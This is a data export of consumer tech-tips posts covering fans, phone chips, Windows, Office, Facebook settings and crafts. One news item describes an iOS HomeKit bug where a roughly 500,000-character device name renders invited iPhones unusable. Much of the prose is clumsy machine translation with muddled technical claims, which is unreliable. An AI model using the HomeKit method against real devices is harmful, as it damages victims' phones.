ncG1vNJzZmismaXArq3KnmWcp51kwKS1xKeroqukqHqprdWeZJyqlZbBprCMrZ%2BeZaekv62w0maqraqfo7Smv9NmmKJllJqzpq3ToqWgZaSdsm6uxKyrZpmZYravecKhnKyr\n","link":"/post/scientists-have-created-the-world-s-strongest-ai-defeating-the-best-ai-in-chess/","section":"post","tags":null,"title":"Scientists have created the world's strongest AI, defeating the best AI in chess"},{"body":"Misting fan with low cost, saving electricity, has many health benefits and especially fan has cooling effect when summer is extremely effective. If you still wonder, read the advantages and disadvantages of the product below immediately!\nQuick review of content What is a misting fan? Should I use a misting fan? Advantages misting fan Disadvantages of misting fans Should I buy misting fans?  What kind of misting fan is good? 1. Kangaroo KG552 misting fan 2. Sunhouse SHD7823 misting fan 3. Kangaroo KG553 misting fan    What is a misting fan? The misting fan is a fan that operates based on the evaporation principle of the water. When you turn on the fan, the fan will pump clean water from the water tank to the top of the fan, compressing the water at high pressure through solid nozzles. Specially designed inside the fan.\n  Then transform the water into a mist sprayed out, the tiny mist quickly spreads in the air, evaporating in a matter of seconds, helping to moisten the hot, dry air.\nNormally the temperature will drop to 3 to 5 degrees C after a short time when the fan is turned on.\nShould I use a misting fan? Advantages misting fan High cooling capacity: Normally the temperature will drop to 3 to 5oC after a short time when the fan turns on. Power saving : enough capacity for the misting fan to operate at ¼ of the capacity of air-conditioner, so the misting fan saves the maximum household power. Low cost: the cost of a misting fan is much lower than the cost of buying, installing and maintaining an air conditioner. So many people choose to buy misting fans rather than air conditioners when in need. Effective moisture balance: thanks to the mist spray function, the fan helps balance the humidity in your home space, increasing the moisture of your skin, not causing respiratory diseases. If your home uses air conditioning, combine it with a misting fan because the fan can overcome the dehumidification of the air conditioner very well. Mosquito and insect killing mode: New generation misting fans are equipped with mosquito repellent mode, insects help your family sleep better. If your home has a small child, when you use this fan, you will not have to worry that the baby will have stings on the limbs, the baby will sleep through the night in the cool, comfortable atmosphere created by the misting fan.   Create ionic moisture to clean, cool the air: some fans have the function of creating moisture ion, when operating this function, the fan will create a fresh and cool air, helping your family to be healthier and happier. . Easy to navigate, convenient controls: The fan is compact, not fussy, you can easily move the fan to whatever position you want. Every operation of the misting fan is controlled via a remote, you just sit in one place and adjust the fan as you like. Some types have the function of dispersing aromatic oils to make the room always fragrant and cool.   Disadvantages of misting fans Cooling is not as fast as air-conditioner: the cooling ability of a slow-mist fan is not as fast as an air conditioner, so when you turn on the fan, you won't feel cool immediately. This is good for your health, because when the temperature changes too suddenly from hot to cold, it makes your body unbalanced, not good for the respiratory system.\nThe scope of diffusion is limited: due to the characteristics of the design, the misting fan has a wide spread range, the operating angle is only 180 degrees C, so it is somewhat more limited than air conditioner, but the fan can compensate. Move easily so when you want the space to be cool, move there.\nShould I buy misting fans? With these advantages, the misting fan is definitely suitable for small rooms and saving electricity. So please shop for yourself this \"universal\" fan to save the hot summer.\n  What kind of misting fan is good? 1. Kangaroo KG552 misting fan (with remote control) - META price: VND 1,190,000 The misting fan has a common cooling function and a separate mist spray function, depending on the weather temperature, you can choose the desired cooling mode. In addition, the nebulizer fan KG552 also has a negative ion function to clean the air in the room. Especially the fan also has a convenient timer function for up to 15 hours to help you feel secure and use, save the maximum electricity.\nThe spray fan is extremely simple to install, with wheels so users can easily move the fan to many desired locations in the house easily. Elegant black fan, luxurious design suitable for space used for home, office, office. Smooth running motor with a capacity of 115W There are 3 wind speeds: light, medium, high. 3 wind modes: normal wind, natural wind and sleep wind. With the beating wind (natural wind) regime will make the room cooler. Especially the fan with remote control, users can adjust the speed, timer or wind mode directly on the fan body or from the remote option.   2. Sunhouse SHD7823 misting fan - META price: VND 2,400,000 Excellent cooling ability: Sunhouse SHD7823 misting fan can rotate and reverse. Fans with 3 large-diameter rotors, adjustable with 3 wind speed levels, with powerful 85 W power, effectively cooling over large areas, giving users the freedom to use for units. large room like living room, office .\nThe mist spraying capacity with 1.8 liter water capacity helps the misting fan to spray mist continuously for 7-9 hours, giving the user a cooler, more pleasant space, the room temperature is effectively reduced. while ensuring the skin is not dry and the air is not uncomfortable. The ion-generating mode cleans the air for the fan space to become fresher, users will feel more relaxed, happier and more energetic for work and daily life. With mosquito repellent mode, cool space also becomes safer, users can freely play, relax without worrying about mosquito bites, causing itchy discomfort and the risk of infectious pathogens. . A fan with an attached remote control makes it easy to adjust to any position and distance without needing to approach the fan. Incremental timer mode helps users to use flexible fans for situations such as when going out and sleeping. Safer and energy saving.   3. Kangaroo mist sprayer KG553 - META price: 1,549,000 VND Kangaroo KG553 uses steam to operate, mist spray helps to moisten the air, lowering the ambient temperature creates a cool, pleasant atmosphere. 6 impellers with a diameter of 30 cm create strong airflow, cool quickly.\nThe product works with 3 wind speeds: normal wind, natural wind and wind when sleeping with negative ion function is sure to bring cool space and fresh air in your room. The fan has a convenient remote control, easy to control the fan without needing to approach, a removable 1.5-liter water tank for convenient watering.  Fan with convenient off timer function. To set the appointment time, click the \"Timer\" button to activate this function. Strong base with easy moving wheels Fans have the function of mosquito repellent useful, especially for families with young children. Note: When the mosquito repellent is discolored (the blue color turns pale white) is out of use, need to be replaced.\n  Hopefully with the above article you will have the best answer and choice.\nMore reference :\nStructure and operating principle of air-conditioning fan Why does the hot day turn on the fan more and more? Table fans and box fans, which is the smart choice? ncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqFdqsCmecBmpKKrpJ67qHnFmqVmr5iWwW63yKebZqeWYrqqv9OipaBllpa7brXSZp6op5Q%3D\n","link":"/post/should-i-use-a-misting-fan-what-kind-of-misting-fan-is-good/","section":"post","tags":null,"title":"Should I use a misting fan? What kind of misting fan is good?"},{"body":"When using devices that need to be plugged in or charged, the table must be placed next to a power plug. If you need to use multiple power outlets for multiple devices at the same time, it will be more inconvenient. A rather unique idea is to use the table leg as a power outlet. On the table leg there are countless power outlets, to help you delight in plugging the devices without worrying about missing.\n This idea desk is called PowerPOST, it has the same design as normal desks with only one-legged thing with a different design, on it are electrical outlets. With this desk, you can use it anywhere, not necessarily with an external drive. It can also help you charge your computer, plug in a table lamp, and charge your phone . at the same time because the number of power sockets on this table is plenty. Enough to meet common needs. This is the idea of ​​two designers: Choi Won Seok and Kim Do Yeo.\nncG1vNJzZmismaXArq3KnmWcp51kwaKuy55kpZ2XqHqiv4yaZKmnp5q%2FbrvUraOerA%3D%3D\n","link":"/post/table-legs-as-a-power-outlet/","section":"post","tags":null,"title":"Table legs as a power outlet"},{"body":"Mid-range chips are sometimes loved by users because every time an overclocking is done, low-end hardware becomes more useful, and high-end hard chalks like 'tiger grows more wings', and gods come unexpectedly. Most importantly, when it is the company that makes the chips to perform those capabilities themselves.\nQualcomm's Snapdragon 710 chip is not only an improved version of the Snapdragon 600 series, it is also a product that will be able to change user buying behavior.\nShortened version of Snapdragon 845\nIn theory, the 710 is like a mid-range SoC system, but in fact, it is a high-priced, affordable SoC of the Snapdragon 800 series - the chip is running on Pixel and Galaxy S and many Other high-end phones.\nLearn about clock speed: Base Clock and Boost Speed All you need to know about mobile processors The Snapdragon 600, though very good, is a popular price that manufacturers still have hardware that meets the requirements of a phone. Even so, the 600 and 800 lines have a great speed gap, especially when not only does it say the basic speed on each clock cycle. The 800 chip also performs operations like image processing, accelerating the network faster than any other Qualcomm chip.\nThat is when 710 shines. These chips bring the speed of high-end segment phones but the price is lower. They are built on a 10nm process like the Snapdragon 845 chip, which is highly efficient, and this is not only a battery saver because performance also affects both the heat emission level and the durability of other components. on the circuit board and battery of the device.\nIf these are the only changes of 710 compared to the 600 chip line, it is more than enough: the battery is stronger, the machine is faster for longer and the life of all hardware is extended. But that's not all.\nThe mobile SoC system is not a CPU but an embedded hardware on which both CPU and GPU types of signal processing chips, . 710 network components use the latest generation of components of a SoC system, As well as 845. Looking at the parameters will see 710 has a high configuration kernel like the 800 line along with the core based on the A55 CPU design. GPU Adreno from 600 series, DSP Hexagon 685, ISP Spectra from line 200, caching system right on board, X15 LTE modem package has been upgraded and tubes support 10-bit HDR. These components can only be found on mid-range 800 chips, which are not expected.\n  Bringing high-end features, the price is not high at all\nIn fact, these parameters mean that your photos will be processed with the same engine as the Galaxy S9, which will have effects such as bokeh or portrait mode. Modem-related features such as 4X4 MIMO and LAA (License-Assisted Access) are those that are only seen on 800 series chips, which now bring up to 800Mbps fast connection speeds. 10-bit HDR tubes will allow HDR display and imaging, with the GPU capable of playback at 4K-30 / 60fps quality without losing energy with a Snapdragon 660 chip.\nA new generation of phones\nThe 710 chip can do something that is not listed by numbers - it allows you to create good phones, everyone wants to use them without spending $ 1000 to buy. Take Apple as an example, the iPhone 8 is Apple 's latest high - end phone, on par with the Galaxy S9 or Pixel 2, which is one of the best phones of 2018. But it' s not a power model. expensive phones like iPhone X.\nSnapdragon 710 can help Samsung create Galaxy SX (for example), do everything we need without having to sell for a higher price than the current Galaxy S9. The Snapdragon 800 can be reserved for the Note X, for those who want the fastest machine and don't mind paying a little higher.\nThe Snapdragon 845 runs both Microsoft Windows laptops with highly demanding tasks like Direct X and a variety of background applications both 32-bit and 64-bit. Many components on SoC 845 have not been used to their full potential when put into the phone. That is, you do not need the Snapdragon 845 for the Galaxy S9 to do, while 660 is not enough. And then, 710 appears, just enough to use.\nCompanies will still launch high-end segmented phones, running the latest, most powerful chips. But you should know that it doesn't have to be that way. If the device uses Snapdragon 710 chip, keep an eye on it a bit, you might be surprised not only because it's good, but also because you don't need to spend $ 1000 to buy it.\nSee more:\nQualcomm introduced Snapdragon 700 chip line Learn about Snapdragon microprocessors on smartphones and tablets How to shoot 4K video, using VR, AR without this? ncG1vNJzZmismaXArq3KnmWcp51kwamtzaSqZqyfYsGpsYyspZqolKeuqLvNZm5qaF2Ytaq8jK2fnqqVqHqvu4ynnJ6cXam8br%2FPnqWdZWFlfXF506hkm62pYq5uvMeopZ4%3D\n","link":"/post/thanks-to-the-snapdragon-710-chip-there-s-no-need-to-spend-1000-to-buy-a-phone/","section":"post","tags":null,"title":"Thanks to the Snapdragon 710 chip, there's no need to spend $ 1000 to buy a phone"},{"body":"Microsoft is said to be researching, developing and perfecting many aspects of Windows 11. Currently, all of Microsoft's priorities are focused on the Windows 11 22H2 version that is expected to be released later this year. In addition, the software giant has also started planning the next major update of Windows 11.\nCalled Windows 11 23H2 Sun Valley 3 and codenamed Copper, this update is scheduled for release late next year. According to the latest information, some references to the Windows 23H2 update have been included in the DLL files that come with the recently released Windows Server build.\n  It's still too early to talk about the features that will be in the Sun Valley 3 update and the like. Moreover, users need to remember that what is available on the Dev channel will not necessarily be officially released. We will have to wait and see how Microsoft's development officially takes place to get more information.\nCurrently, Microsoft is still working tirelessly to update Windows 11 for all eligible devices on the market. As expected by Microsoft, that process will be completed by the summer and in the first phase of the year they have confirmed that they are entering the final stages. In other words, it will only be a matter of time before Windows 11 gets installed on all eligible devices.\nFor your convenience, TipsMake.com will continue to update if there is new information about Windows 11 23H2 version.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2Bgq6ukYravss6rpJqsmaS7bq3BqKytZaeeu6W71qxkamldZ4CpfoysrKdlppa5rbHYZmpmmaClsqK%2BxJ0%3D\n","link":"/post/the-first-information-about-windows-11-23h2-sun-valley-3-appeared/","section":"post","tags":null,"title":"The first information about Windows 11 23H2 (Sun Valley 3) appeared"},{"body":"If you were unable to remove the\u0026nbsp;0x80070070\u0026nbsp;error with the methods above, try using the Media Creation Tool to update Windows 10. The Media Creation Tool will help you update an existing installation to the latest version and leave all your files where you left them.\nHere's a step-by-step tutorial to using Media Creation Tool to upgrade Windows 10\nStep 1. Download\u0026nbsp;Media creation Tool\u0026nbsp;from official link.\nhttps://www.microsoft.com/en-us/software-download/windows10\nStep 2. Open the tool and choose\u0026nbsp;Upgrade this PC now\u0026nbsp;and click\u0026nbsp;Next\u0026nbsp;to continue. It will start downloading the necessary files. You just need to wait patiently.\n  Step 3. Select\u0026nbsp;Keep personal files and apps\u0026nbsp;and click\u0026nbsp;Next.\n  Step 4. Let it install. The installation process will start and your PC will reboot. Your system will restart several times during this process. When it's finished, you just need to log in with your account. Hope this method can help you.\nYou can refer to the following ways to\u0026nbsp;fix error 0x80070070\nFix error 0x80070070 : Using Disk Cleanup Tool to Free up Space in C Drive Fix error 0x80070070 : Disable Disk Quotas or Limit Disk Space Fix error 0x80070070 : Extend the System Partition Fix error 0x80070070 Increase the Size of Windows Recovery Partition How to fix error 0x80070070 on Windows 10 ncG1vNJzZmismaXArq3KnmWcp51ks6rEjJ6pq6eiYrCwsMRmZ7FwYGWEcXyWaWSuq5mjtG7Ax55kpp2Unq5ur9GemK2hn6N6tbvOpWStp12qvai%2BwJ2cZq%2BZo7Gww9JmaGk%3D\n","link":"/post/fix-error-code-0x80070070-using-the-media-creation-tool-to-upgrade-windows-10/","section":"post","tags":null,"title":"fix error code 0x80070070 Using the Media creation Tool to Upgrade Windows 10"},{"body":"According to security researcher Trevor Spiniolas, bad guys only need to edit the name of the HomeKit device to something about 500,000 characters long to cause the above error.\nIn his personal blog post, Spiniolas shared that he reported this bug to Apple on August 10, but it is still in iOS 15.2. Apple promised to address the issue in an update released before 2022 but failed to deliver on that promise.\n  Now Apple has promised again that they will look into the issue in early 2022. However, Spinolas couldn't wait any longer, so it self-published the vulnerability to warn users.\n\"When the name of a HomeKit device is changed to a long string (500,000 characters in my testing) any device with the affected iOS version installed will be interrupted when loading the string, loading thread continues to break after reboot. Restoring the device to factory condition and re-login to the iCloud account associated with that HomeKit device will cause the error again,\" Spiniolas wrote.\nThe security researcher further noted that in iOS 15.1 (probably iOS 15.0) Apple added a limit on the length of names an app or user can give HomeKit accessories. However, it is not clear why the previous versions and this limited version of iOS 15.2 were removed.\nNotably, this bug affects users with no Home devices added. This happens when someone accepts an invitation to Home that contains a HomeKit device with a long string name.\n\"If an attacker exploits this vulnerability, they only need to send out invitations to join Home to be able to damage the victim's iPhone,\" Spiniolas said.\nHere is a demo video of an iPhone with an error:\nHopefully Apple will take measures to fix this problem soon!\nncG1vNJzZmismaXArq3KnmWcp51ktbC5xKSgrWWSqrRuwNSrpaxlmaW1sLrEZqCnrJ9iwrSxy56qrGWSp7aktw%3D%3D\n","link":"/post/homekit-bug-turns-iphone-into-useless-brick/","section":"post","tags":null,"title":"HomeKit bug turns iPhone into useless brick"},{"body":"You are very annoyed when people who are not familiar with name tags on Facebook, or tagged with unwanted images. The following article details how to block tags on Facebook, block image tags, status.\nTo block tag on Facebook, block image tag, status follow these steps:\nStep 1: Log into the Facebook account that you want to block everyone's tags -\u0026gt; click the arrow -\u0026gt; select Settings:\n  Step 2: Click the Timeline item and tag :\n  Step 3: Under ' Who can add content to your timeline ' select ' Only me '\n  Step 4: In the ' How to manage tags that people add and tag suggestions ' option ' Enable '\n  That way you have blocked all people who cannot post and tag your name from your timeline. However, all your close friends and relatives cannot tag your name, nor can you see the post.\nFor you to see, check the tags that allow it to show up on your profile by selecting ' Approve the posts your friends tagged you before the post appeared on the timeline. your space ' -\u0026gt; select' On '\n    As such, all posts with your name tag can be moderated to allow or disallow to display on your timeline.\nFor example, when tagged by a friend, you will receive a notification approving the tagging.\n    Above is a detailed guide on how to block tags on Facebook, block image tags, status . Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsedOanqxln6N6p63Cnpmop5tir627wqRkoqWRnLJuwMCgqmarpJbBtr8%3D\n","link":"/post/how-to-block-tags-on-facebook-block-image-tags-status/","section":"post","tags":null,"title":"How to block tags on Facebook, block image tags, status"},{"body":"On Windows 10, every process of an application or service receives an identifier called a Process ID (PID). The PID has many different uses, but mainly, it exists to uniquely identify each process throughout the system and distinguish programs running multiple instances (such as when editing two text files with Notepad).\nAlthough most common users don't need to worry about system processes, knowing their IDs can be useful in many cases. For example, when you need to debug an application. An application freezes and you have to manually end the process. Or you need to check the system resources that a particular process is using.\nThere are at least 4 methods to check Process ID (PID) for any active process in Windows 10, using Task Manager, Resource Monitor, Command Prompt and PowerShell.\nIn this Windows 10 guide, Tipsmake \u0026nbsp;will show you the steps to determine the Process ID for an application or service.\nHow to identify Process ID with Task Manager To check the Process ID for an application on Windows 10, follow these steps:\nStep 1. Open Start.\nStep 2. Search for Task Manager and click on the top result to open the application.\nQuick Tip : You can also open the application by right-clicking on the taskbar and selecting the Task Manager option, right-clicking the Start buttonand selecting the Task Manager option,or using the keyboard shortcut Ctrl + Shift + Esc .\nStep 3. Click the Details tab .\nStep 4. Confirm the Process ID of the application in the PID column.\n  Step 5. Click the Services tab .\nStep 6. Confirm the Process ID of the service in the PID column.\n  After completing the steps, you will know the Process ID number for the services and applications that are running or suspended on Windows 10.\nHow to determine Process ID using Resource Monitor To find the Process ID for an application using the Resource Monitor panel, follow these steps:\nStep 1. Open Start.\nStep 2. Search for Resource Monitor and click on the top result to open the application.\nStep 3. Click the Overview tab .\nStep 4. Confirm the Process ID of the application and service in the PID column.\n  After completing the steps, you will have an overview of IDs for running and suspended processes.\nHow to determine Process ID using Command Prompt To find out the ID of a process using commands, follow these steps:\nStep 1. Open Start.\nStep 2. Search for Command Prompt and click on the top result to open terminal.\nStep 3. Type the following command to see the Process ID list and press Enter :\ntasklist   Step 4. Type the following command to see the list of Process IDs for Microsoft Store apps and press Enter :\ntasklist /apps   Step 5. Type the following command to get the ID from the process name and press Enter :\ntasklist /svc /FI \"ImageName eq PROCESS-NAME*\"   In the command, make sure to substitute PROCESS-NAME for the .exe name of the process. The * is a wildcard to match part of the name without having to enter the exact name of the process.\nThis example shows the progress for Notepad:\ntasklist /svc /FI \"ImageName eq notepad*\" After you complete the steps, the output will show the IDs for the processes running on the device.\nHow to determine Process ID using PowerShell To determine the Process ID of an application or service with PowerShell, follow these steps:\nStep 1. Open Start.\nStep 2. Search for PowerShell and click on the top result to open Terminal.\nStep 3. Type the following command to see the Process ID list and press Enter :\nGet-Process   Step 4. Type the following command to view information (including ID) about a process and press Enter :\nGet-Process PROCESS-NAME* | Format-List *   Step 5. In the command, make sure to substitute PROCESS-NAME for the .exe name of the process. The * is a wildcard to match part of the name without having to enter the exact name of the process.\nThis example shows Process ID Notepad and all available information about the process:\nGet-Process notepad* | Format-List *   Step 6. Type the following command to determine the ID, owner of the process and press Enter :\nGet-Process PROCESS-NAME* -IncludeUserName Step 7. In the command, make sure to substitute PROCESS-NAME for the .exe name of the process. The * is a wildcard to match part of the name without having to enter the exact name of the process.\nThis example shows the Notepad processes:\nGet-Process notepad* -IncludeUserName After you complete the steps, the result will return the Process ID along with other information about the application or service.\nGood luck.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FuwMeeZKmqn5iytL%2BMoptmp5ZiwamxjJqnqaSZmK61tc6nZKimXay2r7DOsKpmaWA%3D\n","link":"/post/how-to-find-the-process-id-of-the-application-on-windows-10/","section":"post","tags":null,"title":"How to find the Process ID of the application on Windows 10"},{"body":" This tutorial will take you through the process of running a C/C++ program with the Netbeans IDE (Integrated Development Environment) using screenshots as tools for understanding and clarity. This article is written for use with Windows,...\nPart 2of 5:\nInstalling Cygwin Compiler and Debugger  Create a Folder on the Desktop and name it Cygwin \n Open the Cygwin Installer  Click the \"Next\" button on the window that comes up   Click Install from Internet, Click Next, then Click Next on the Second window  Make sure on the Third Window that the path is setup to the desktop folder    Select a Download Site and click Next  Really does not matter what site is chosen, however download speed may be affected  Install Compiler and Debugger  On the Window that pops-up select the '+' next to Devel   Find the files called gcc-core, gcc-g++, gdb: GNU Debugger, and 'make', and click the 'Skip' button to the left ONCE.    Click Next It will install the parts and then ask if you want shortcuts, you do not need these  Create the Cygwin Path  Open your control panel and select \"System and Security\", then select \"System\" Click Advanced System Settings Near the bottom of the new window there will be a button called \"Environmental Variables\", select it   In the window that pops up scroll down to Path, select it and click Edit At the end of the highlighted text (DON'T DELETE IT) add, with no spaces at all, \";cygwin-directorybin\"    Part 3of 5:\nInstalling Netbeans  Open the Netbeans Installer  Allow program to run, if asked for permission, and wait for installer to configure   When the installer Opens  Click Next Agree to the user agreement and select Next Allow the installer to save and install the files on the next two windows to the default locations Click Install You can choose whether to send usage data or not  Part 5of 5:\nTroubleshooting  Be sure to install the Cygwin compiler and debugger first. It allows the IDE to auto-find it in your system If Cygwin does not appear in the tool collection field, be sure that its path is added to the Environment Variables If the project does not build or run correctly, be sure to look carefully at the final screenshot and make sure that all parts in the text editor look the same   Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqlo3qkr4ypqaifopa6brXNZqWerJKarq%2B%2FjKilZq%2BZo7Gww9I%3D\n","link":"/post/how-to-run-c-c-program-in-netbeans-on-windows/","section":"post","tags":null,"title":"How to Run C/C++ Program in Netbeans on Windows"},{"body":"Avengers blockbuster: Endgame as soon as the movie world is released as well as fans of the Avengers series have received the popularity of the masses. And you can also turn yourself into one of the Avengers superheroes with AvengeThem.\nAvengeThem is a face transplant website of Morphin completely free to use. Once you open the AvengeThem interface, you will see famous superhero characters such as Iron Man, Captain America, Hawkeye, Black Widow, . You can choose any character you like and pair the mold. My own face on that character. Photos are downloaded in GIF format or mp4 video. Thus, we can install into avatar Facebook from the downloaded video. The following article will guide you how to use Avenge.\nFace transplant, face swap on iPhone Microsoft Face Swap: Very funny face transplant application for smartphones TalkingPhotos, the application that helps your stills talk like a real person How to use Jigsaw FaceArt with celebrities Face transplant tutorial on AvengeThem Step 1:\nUsers access the AvengeThem homepage according to the link below.\nhttps://avengethem.com/ Step 2:\nSelect the character you want to transform into. Each character is displayed in the action's small scene.\n  Step 3 :\nDisplay the Select Your Picture interface to download images. Users can choose their own images at the Upload Pictures section, or use the Avengers actors to change into other characters. Items Recent are the images that we have uploaded.\n  Users should choose the right snapshot for AvengeThem to easily match the face.\n  Step 4:\nThen AvengeThem processed the image and merged your face into the face of the selected character. When completed, users have many different options.\nDownload GIF: Save as animated GIF. Download Insta Story: Save as video upload to Instagram Stories. Text a friend: Send photos via SMS to friends. Twitter: Post to Twitter. Copy: Copy the image page link to the image.   That's quite interesting ?! You can become any famous superhero character with powerful powers. Photos are downloaded in GIF format or as mp4 videos for you to use for a variety of needs.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ss6rpGahnqm8bq2MrKypnaKdsrO7jKKlZpmmmruosdGsZJ6mlJyurrE%3D\n","link":"/post/how-to-transform-into-a-superhero-in-avengers-endgame/","section":"post","tags":null,"title":"How to transform into a superhero in Avengers: EndGame"},{"body":"In PowerPoint 2019, in addition to the available features, the manufacturer has added some new features such as Draw drawing tools for example. The Tab Draw works independently on PowerPoint with drawing tools so that users can freely create their own strokes and format. In particular, this Draw tool also has the feature to convert the strokes into shapes and convert them into Math expressions like Word 2016 and above. Thus, Draw gives users not only the old drawing tools such as brushes, rulers but also convert those strokes to different content. The following article will guide you how to use the Draw tool on PowerPoint.\nHow to use 2 screens for PowerPoint slides How to display a full screen PowerPoint presentation How to create handwritting PowerPoint effects Instructions for using Draw on PowerPont 2019 1. How to show Draw tab on PowerPoint 2. How to draw pictures on PowerPoint 3. How to use the Ruler tool on PowerPoint 4. How to convert paint to geometry 5. Writing Math formulas on PowerPoint 1. How to show Draw tab on PowerPoint Step 1:\nTo display the Draw tool on PowerPoint, first click on the File menu and select Options to add the tool on the Ribbon.\n  Step 2:\nDisplay the new interface, click on the Customize Ribbon item on the left side of the interface. Look at the right column outside and tick the Draw and click OK.\n  The result of the Draw tab will appear on the Ribbon as shown below.\n  Step 3:\nClick on the Draw tab and the user will see the drawing tools and other features to draw on the slide. Tools include:\nDraw drawing tools. Eraser eraser tool. Lasso Select selection tool. Pens pen tool group is used when you have selected the drawing tool. Add Pen to add other brushes. Ruler ruler. lnk to Shape converts free-drawing objects to Shape. lnk to Math converts a free drawing object to a Math formula.   2. How to draw pictures on PowerPoint Step 1:\nFirst, click on Draw to proceed with drawing on the slide. Then at Pens section select the pen you want to use. When clicking on the arrow icon in the brush will display the interface options thickness thickness and color (Colors) for that pen.\n  If you click More Colors, you will see some other colors to choose from.\n  Step 2:\nNow you can draw any content on the slide with the selected brush and color.\n  Step 3:\nIn case of wrong drawing and want to delete the drawn content, click on the Eraser item . There are 4 different modes of paint strokes. Depending on the thickness of the paint and the drawing content you choose the appropriate eraser tool.\n  Step 4:\nIn addition to the existing brushes, click on Add Pen to add different types of brushes.\n  Some brushes will have the Effects effect option to create more sparkling and novel touches when presenting the content on the slide.\n  Step 5:\nAfter you have finished drawing if you want to enlarge the drawing content or move to another position, you need to click on Lasso Select to select the drawn area. We use the mouse and surround the drawing area to show the dashed lines as shown below. Release the mouse after selecting the drawing area.\n  Then display the frame around the drawing content. Users enlarge or shrink the size of the letters, move to another location if desired\n  3. How to use the PowerPoint Ruler tool This is a ruler on PowerPonint that helps users align their strokes in more angles, especially when you work with geometry in Mathematics.\nStep 1:\nClick on the Ruler tool to display the ruler as shown below. Default ruler is set at 45 degree angle.\n  Step 2:\nTo change the angle for the ruler, press Shift + F6 and press Alt + → to rotate every 15 degrees. Or we can press Ctrl + Alt + → to rotate an angle of 1 degree.\nNote that in case the user presses Ctrl + Alt + → when the screen rotates, press Ctrl + Alt + ↑ to return the screen to normal.\n  4. How to convert paint to geometry Step 1:\nThe user first clicks on lnk to Shape and then clicks on the Draw tool to draw the image on the slide. Use the brush to outline the geometry as shown below.\n  Step 2:\nAfter releasing the mouse button, your drawing will automatically be converted to geometry as shown below. The surrounding line is used to enlarge or shrink the geometry if you want, rotate or move the geometry to any position you want.\n  Step 3:\nWe can also combine with the Ruler tool to add lines to geometry if desired. For example, draw a line of 45 degrees for the square. You just need to select the brush, paint and color to draw and draw the line at the angle of the ruler to finish.\n  Draw the diagonal line for the square as shown below.\n  5. Writing Math formulas on PowerPoint Step 1:\nUsers select lnk to Math in the Convert group to convert the stroke to the Math expression. This will display the Math Input Control interface as shown below. This interface is similar to Word 2016 and above.\nWrite the Math expression, the result shows the original expression right above. If wrong click the Erase tool to erase the stroke. Click Insert to export a chart to a PowerPoint slide.\n  Step 2:\nThe Math expression results are displayed on the slide as shown below.\n  The above is a detailed article on how to use the Draw tool in PowerPoint 2019. It can be seen that this tool gives users a lot of other useful features, besides supporting drawing on the slide. With this Draw tool, we will have more options to refresh PowerPoint slide show content.\nSee more:\nHow to insert text into images in PowerPoint How to create Watermark on PowerPoint How to create motion effects on PowerPoint I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqlvsCwZK2nn6F6sLqMqaawnaKlvKq60w%3D%3D\n","link":"/post/how-to-use-draw-tool-on-powerpoint/","section":"post","tags":null,"title":"How to use Draw tool on PowerPoint"},{"body":"As an accountant, in addition to understanding the law, professional work, an extremely important factor that employers require is good office computer skills - the ability to handle and input data. Fast and accurate vouchers. The requirement is so, but not all accountants can use the keyboard quickly and accurately. So if you want fast typing skills, our accountants should not skip the article Detailed instructions on how to type fast keyboard below\nTo have fast typing skills is nothing like daily accountants have to practice with computers to be able to master typing with 10 fingers.\nAnd here, TipsMake please guide the sitting posture as well as how to put your fingers in the most accurate way:\n1. Always sit up straight when typing - typing text   - Sit upright and always keep your back straight.\n- Always keep the elbow bent at the right angle\n- Keep your head tilted slightly forward when sitting in front of a computer screen\n- Keep the position distance from 40 to 75 cm from the computer screen\n- Keep your wrist touching the edge of the computer in front of the keyboard\nSitting position when typing the accountant\n2. Position the hand on the keyboard   If you notice, on any computer keyboard at the position of the letters F and J, there are two edges (small marks raised on the keyboard).The purpose of this bezel on the keyboard is for us to put our hands in the correct position when typing.How to place the left hand: the index finger starts to place in the letter F, then in turn places the remaining fingers of the next left hand for the letters DSA, likewise, the placement of the right hand starts at position your index finger at the letter J, then place the other fingers of your right hand in turn for the KL positions\nAlways remember that you have to start with the right position of your hands, this is the position that you will have to return after finishing typing.Your hands will always be in these positions (left hand: A S D F, right hand: J KL)\nPosition the specific fingers as follows:\n  *Left hand:\n- Index finger: R, F, V, 4, T, G, B, 5.\n- Middle finger: E, D, C, 3.– Ring finger: W, S, X, 2.\n- Pinkie: keys Q, A, Z, 1, `and function keys such as Tab, Caps lock, Shift.\n*Right hand\n- Index finger: H, Y, N, 6, 7, U, J, M.\n- Middle finger: 8, I, K, .\n- Pinkie: 0, P,:,?, ', [,], -, +, Enter, Backspace.\n3. How to move your finger to type keys on the keyboard - Only press the keys corresponding to the corresponding finger according to the color in the image above, do not use other fingers to press the keys that are not the same color as the image above\n- Always bring the hands back to the position where the original hand was\nASDF - JKL\n- When typing, imagine its position on the keyboard\n- Use the thumb of the left or right hand (whichever is easier then use) to press the space bar\nYou may find it difficult at first to practice, but after a period of practice, you will be very surprised at your ability to type fast.\n4. How to do while typing   - Try not to look at the keyboard, but imagine the position of that finger tip and press down, if pressed wrong then press again\n- Should use typing programs or typing games to improve your typing skills.There are many typing practice websites with 10 fingers includingwww.typingweb.comis a free typing training website with a nice and professional interface.The website will train students in the 5 most important factors in typing techniques including the ability to remember the keyboard, attention, typing speed, flexibility in word processing and correction skills. error when typing wrong.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWasqaW2r7OMqqyim5uhxg%3D%3D\n","link":"/post/instructions-for-typing-quickly/","section":"post","tags":null,"title":"Instructions for typing quickly"},{"body":"Utilizing the discarded plastic spoons, you will create an extremely unique white rose, which will surely be an unexpected and extremely interesting gift for your beloved women on Vietnamese Women's Day. South October 20 coming.\nThis handmade rose is not only economical but the recipient can also keep it for a long time as a souvenir, unlike real flowers that must be removed when wilted.\nRaw materials for making roses from plastic spoons \nPlastic spoon Scissors, pliers Candle or kerosene lamp Glue gun or milk glue How to make roses from plastic spoons Step 1:   You light a candle or an oil lamp and put a plastic spoon over it, heat it on the flame so that the heat causes the spatula to deform in a curved shape like the petals of the rose.\n  